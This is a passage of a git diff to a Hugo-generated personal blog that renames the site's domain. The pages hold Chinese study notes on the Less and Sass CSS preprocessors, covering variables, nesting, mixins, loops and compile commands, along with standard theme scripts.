href=https://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js>https://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js</a></p><p>less文件</p><p>hallo.less</p><p>注释</p><p>/*块注释*/</p><p>// 行注释</p><p>变量</p><p>变量名命名规范</p><p>必须是以@开头</p><p>不能包含特殊字符</p><p>不能以数字开头</p><p>大小写敏感</p><p>例如：</p><pre><code>@color: #ccc;
+
+#app{
+    background-color: @color;
+}
+</code></pre><p>less编译</p><p>less提供了一个解析器，通过解析器，编译成css文件</p><p>例如：</p><p>npm</p><p>lessc style.less style.css</p><p>将style.less编译成style.css文件</p><p>或者</p><p>vsc插件：Easy LESS（修改保存就自动编译成css文件）</p><p>less嵌套</p><p>子元素嵌套到父元素上（后代选择器）</p><pre><code>#app{
+    width: 100px;
+    div{
+        width: 60px;
+    }
+}
+</code></pre><p>伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代</p><pre><code>#app{
+    width: 100px;
+    a{
+        color: #000;
+        &amp;:hover{
+            color: @color;
+        }
+        &amp;::before{
+             width: 30px;
+        }
+    }   
+}
+</code></pre><p>less运算</p><p>数值，颜色，变量都可以参与运算，加减乘除</p><pre><code> @width: 50px;
+ #app{
+    width: 100px - 10;
+    height: 100px * 3;
+    div{
+        width: (@width / 30) * 6;
+    }
+}
+
+
+
+
+#app{
+    color: #666 - #333;
+}
+</code></pre><p>上面得到的是#333</p><p>注意：</p><p>如果有两个不同单位的值运算，运算结果单位取第一个值的单位</p><p>如果有两个值，它们只要一个单位，取该单位作为运算结果单位</p><p>运算符中间左右两边要有空格分开</p><p>混合</p><p>混合（Mixin）可以将一组属性从包含到另一个集合中，例如：</p><pre><code>.container{
+    max-width: 980px;
+    margin-left: auto;
+    margin-right: auto;
+}
+#app{
+    .container
+}
+</code></pre><p>转义</p><p>转义允许使用任意字符串作为属性或者变量值，例如：</p><pre><code>@max768: ~&quot;(max-width: 768px)&quot;~
+.nav-svg{
+    @media @max768{
+        display: none;
+    }
+}
+</code></pre><p>函数</p><p>less内置了多个函数，用于算术运算，颜色处理等等</p><pre><code>@width: 0.6;
+#app{
+    width: percentage(@width); // 60%
+}
+</code></pre><p>映射</p><p>映射支持less3.5以上版本，例如：</p><pre><code>#data(){
+    width: 100px;
+}
+#app{
+    width: #data[width];
+}
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/less/>Less</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/51/><span class=title>« Prev</span><br><span>CSS预处理器-Sass学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/49/><span class=title>Next »</span><br><span>数据结构与算法学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/51/index.html b/posts/51/index.html
index 3747f546..c5426c9a 100644
--- a/posts/51/index.html
+++ b/posts/51/index.html
@@ -28,11 +28,11 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/51/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="CSS预处理器-Sass学习笔记"><meta property="og:description" content="sass是一门css扩展语言，css预处理器
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/51/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="CSS预处理器-Sass学习笔记"><meta property="og:description" content="sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &ndash;save-dev
 当然也可以安装ruby，通过gem托管服务进行安装sass
@@ -62,10 +62,10 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/51/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-02T08:44:00+00:00"><meta property="article:modified_time" content="2021-07-02T08:44:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSS预处理器-Sass学习笔记"><meta name=twitter:description content="sass是一门css扩展语言，css预处理器
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/51/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-02T08:44:00+00:00"><meta property="article:modified_time" content="2021-07-02T08:44:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSS预处理器-Sass学习笔记"><meta name=twitter:description content="sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &ndash;save-dev
 当然也可以安装ruby，通过gem托管服务进行安装sass
@@ -95,85 +95,85 @@
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"CSS预处理器-Sass学习笔记","item":"https://xiaochenabc123.github.io/posts/51/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"CSS预处理器-Sass学习笔记","name":"CSS预处理器-Sass学习笔记","description":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc;\r#app{\rcolor: $color;\r}\r变量也可以嵌套到属性中\n$right: right;\r#app{\rmargin-#{$right}: 50px;\r}\r运算\n允许使用加减乘除运算\n#app{\rwidth: 100px + 20px;\rheight: (300px / 3) * 2;\r}\r嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：","keywords":["Sass"],"articleBody":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass –save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass –style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass –watch hallo.scss:hallo.css\n监听目录\nsass –watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc;\r#app{\rcolor: $color;\r}\r变量也可以嵌套到属性中\n$right: right;\r#app{\rmargin-#{$right}: 50px;\r}\r运算\n允许使用加减乘除运算\n#app{\rwidth: 100px + 20px;\rheight: (300px / 3) * 2;\r}\r嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：\n.nav{\rpadding: 100px;\r.nav-ul{\rright: left;\r.nav-li{\rmargin: 10px;\r}\r}\u0026:hover{\rcolor: #ccc;\r}\r}\r伪类或者伪元素需要在其前面加\u0026\n继承\nsass可以将一个样式集继承到另一个继承集中\n.container{\rwidth: 100px;\r}\r#app{\r@extend .container;\rheight: 100px;\r}\r混合\n@mixin width{\rwidth: 100px;\r}\r#app{\r@include: width;\r}\r混合和继承的区别就是，混合可以指定参数\n@mixin width($nums: 60px){\rwidth: $nums;\r}\r#app{\r@include: width(100px);\r}\r函数\n提供了一下函数来处理颜色之类的\ngrayscale(#333)\n导入外部文件\n导入scss文件 @import “scss/hallo.scss”;\n导入css文件 @import “css/hallo.css”\n条件判断\n#app{\r@if 100 \u003c 60 { width: 100px;\r} @else {\rwidth: 60px;\r}\r}\r循环\nfor\n@for $i from 1 to 6 {\r.col-#{$i} {\rborder: #{$i}px solid #ccc;\r}\r}\rwhile\n$i : 6;\r@while $i \u003e 0 {\r.col-#{$i} {\rwidth: 100px * $i;\r}\r$i : $i - 1;\r}\reach\n@each $nums in 1,2,3 {\r.col-#{$nums} {\rbackground-image: url(\"/image/#{$nums}.jpg\");\r}\r}\r自定义函数\n@function hallo($i) {\r@return ($i * 2) + 100;\r}\r#app {\rwidth: hallo(10px);\r}\r","wordCount":"222","inLanguage":"en","datePublished":"2021-07-02T08:44:00Z","dateModified":"2021-07-02T08:44:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/51/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>CSS预处理器-Sass学习笔记</h1><div class=post-meta><span title='2021-07-02 08:44:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/CSS%e9%a2%84%e5%a4%84%e7%90%86%e5%99%a8-Sass%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>sass是一门css扩展语言，css预处理器</p><p>sass是基于ruby语言开发，在前端中可以使用npm安装</p><p>npm install node-sass或者npm install node-sass &ndash;save-dev</p><p>当然也可以安装ruby，通过gem托管服务进行安装sass</p><p>gem install sass</p><p>文件</p><p>hallo.scss</p><p>解析为css文件</p><p>sass hallo.scss hallo.css</p><p>sass提供了4种编译风格</p><p>nested：嵌套缩进的css代码，默认值</p><p>expanded：没有缩进，扩展的css代码</p><p>compact：简洁格式的css代码</p><p>compressed：压缩后的css代码，生产环境一般选择这个</p><p>编译风格使用语法</p><p>sass &ndash;style nested hallo.scss hallo.css</p><p>也可以让sass自动编译</p><p>监听文件</p><p>sass &ndash;watch hallo.scss:hallo.css</p><p>监听目录</p><p>sass &ndash;watch sass/style.scss:css/style.css</p><p>注意：目录不要有中文</p><hr><p>注释</p><p>/* 注释 */</p><p>// 注释</p><p>/*! 注释 */</p><p>第一种注释，会保留到编译后的css文件中</p><p>第二种注释，不会编译到编译后的css文件中</p><p>第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权</p><p>变量</p><pre><code>$color: #ccc;
-#app{
-    color: $color;
-}
-</code></pre><p>变量也可以嵌套到属性中</p><pre><code>$right: right;
-#app{
-    margin-#{$right}: 50px;
-}
-</code></pre><p>运算</p><p>允许使用加减乘除运算</p><pre><code>#app{
-    width: 100px + 20px;
-    height: (300px / 3) * 2;
-}
-</code></pre><p>嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</p><pre><code>.nav{
-    padding: 100px;
-    .nav-ul{
-        right: left;
-        .nav-li{
-            margin: 10px;
-        }
-    }&amp;:hover{
-        color: #ccc;
-    }
-}
-</code></pre><p>伪类或者伪元素需要在其前面加&</p><p>继承</p><p>sass可以将一个样式集继承到另一个继承集中</p><pre><code>.container{
-    width: 100px;
-}
-#app{
-    @extend .container;
-    height: 100px;
-}
-</code></pre><p>混合</p><pre><code>@mixin width{
-    width: 100px;
-}
-#app{
-    @include: width;
-}
-</code></pre><p>混合和继承的区别就是，混合可以指定参数</p><pre><code>@mixin width($nums: 60px){
-    width: $nums;
-}
-#app{
-    @include: width(100px);
-}
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如："><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"CSS预处理器-Sass学习笔记","item":"https://chenjunlinabc.github.io/posts/51/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"CSS预处理器-Sass学习笔记","name":"CSS预处理器-Sass学习笔记","description":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass \u0026ndash;save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass \u0026ndash;style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass \u0026ndash;watch hallo.scss:hallo.css\n监听目录\nsass \u0026ndash;watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中\n$right: right; #app{ margin-#{$right}: 50px; } 运算\n允许使用加减乘除运算\n#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：","keywords":["Sass"],"articleBody":"sass是一门css扩展语言，css预处理器\nsass是基于ruby语言开发，在前端中可以使用npm安装\nnpm install node-sass或者npm install node-sass –save-dev\n当然也可以安装ruby，通过gem托管服务进行安装sass\ngem install sass\n文件\nhallo.scss\n解析为css文件\nsass hallo.scss hallo.css\nsass提供了4种编译风格\nnested：嵌套缩进的css代码，默认值\nexpanded：没有缩进，扩展的css代码\ncompact：简洁格式的css代码\ncompressed：压缩后的css代码，生产环境一般选择这个\n编译风格使用语法\nsass –style nested hallo.scss hallo.css\n也可以让sass自动编译\n监听文件\nsass –watch hallo.scss:hallo.css\n监听目录\nsass –watch sass/style.scss:css/style.css\n注意：目录不要有中文\n注释\n/* 注释 */\n// 注释\n/*! 注释 */\n第一种注释，会保留到编译后的css文件中\n第二种注释，不会编译到编译后的css文件中\n第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权\n变量\n$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中\n$right: right; #app{ margin-#{$right}: 50px; } 运算\n允许使用加减乘除运算\n#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：\n.nav{ padding: 100px; .nav-ul{ right: left; .nav-li{ margin: 10px; } }\u0026:hover{ color: #ccc; } } 伪类或者伪元素需要在其前面加\u0026\n继承\nsass可以将一个样式集继承到另一个继承集中\n.container{ width: 100px; } #app{ @extend .container; height: 100px; } 混合\n@mixin width{ width: 100px; } #app{ @include: width; } 混合和继承的区别就是，混合可以指定参数\n@mixin width($nums: 60px){ width: $nums; } #app{ @include: width(100px); } 函数\n提供了一下函数来处理颜色之类的\ngrayscale(#333)\n导入外部文件\n导入scss文件 @import “scss/hallo.scss”;\n导入css文件 @import “css/hallo.css”\n条件判断\n#app{ @if 100 \u003c 60 { width: 100px; } @else { width: 60px; } } 循环\nfor\n@for $i from 1 to 6 { .col-#{$i} { border: #{$i}px solid #ccc; } } while\n$i : 6; @while $i \u003e 0 { .col-#{$i} { width: 100px * $i; } $i : $i - 1; } each\n@each $nums in 1,2,3 { .col-#{$nums} { background-image: url(\"/image/#{$nums}.jpg\"); } } 自定义函数\n@function hallo($i) { @return ($i * 2) + 100; } #app { width: hallo(10px); } ","wordCount":"222","inLanguage":"en","datePublished":"2021-07-02T08:44:00Z","dateModified":"2021-07-02T08:44:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/51/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" 